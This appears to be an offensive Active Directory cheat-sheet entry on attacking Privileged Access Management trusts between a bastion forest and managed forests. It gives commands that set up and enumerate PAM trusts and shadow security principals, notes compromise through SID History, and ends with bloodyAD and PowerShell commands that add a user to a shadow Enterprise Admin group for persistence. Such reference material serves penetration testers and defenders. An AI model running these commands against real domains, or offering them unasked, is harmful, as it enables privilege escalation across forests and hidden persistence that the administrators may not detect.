Trust - Privileged Access Management
PAM (Privileged Access Management) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon.
Requirements:
- Windows Server 2016 or earlier
If we compromise the bastion we get Domain Admins privileges on the other domain
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Default configuration for PAM Trust
# execute on our forest netdom trust lab.local /domain:bastion.local /ForestTransitive:Yes netdom trust lab.local /domain:bastion.local /EnableSIDHistory:Yes netdom trust lab.local /domain:bastion.local /EnablePIMTrust:Yes netdom trust lab.local /domain:bastion.local /Quarantine:No # execute on our bastion netdom trust bastion.local /domain:lab.local /ForestTransitive:Yes -
Enumerate PAM trusts
# Detect if current forest is PAM trust Import ADModule Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)} # Enumerate shadow security principals Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl # Enumerate if current forest is managed by a bastion forest # Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External Get-ADTrust -Filter {(ForestTransitive -eq $True)} -
Compromise
- Using the previously found Shadow Security Principal (WinRM account, RDP access, SQL, …)
- Using SID History
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Persistence
- Windows/Linux:
bloodyAD --host 10.1.0.4 -u john.doe -p 'Password123!' -d bloody add groupMember 'CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local' Administrator- Windows only:
# Add a compromised user to the group Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=domain,DC=local"}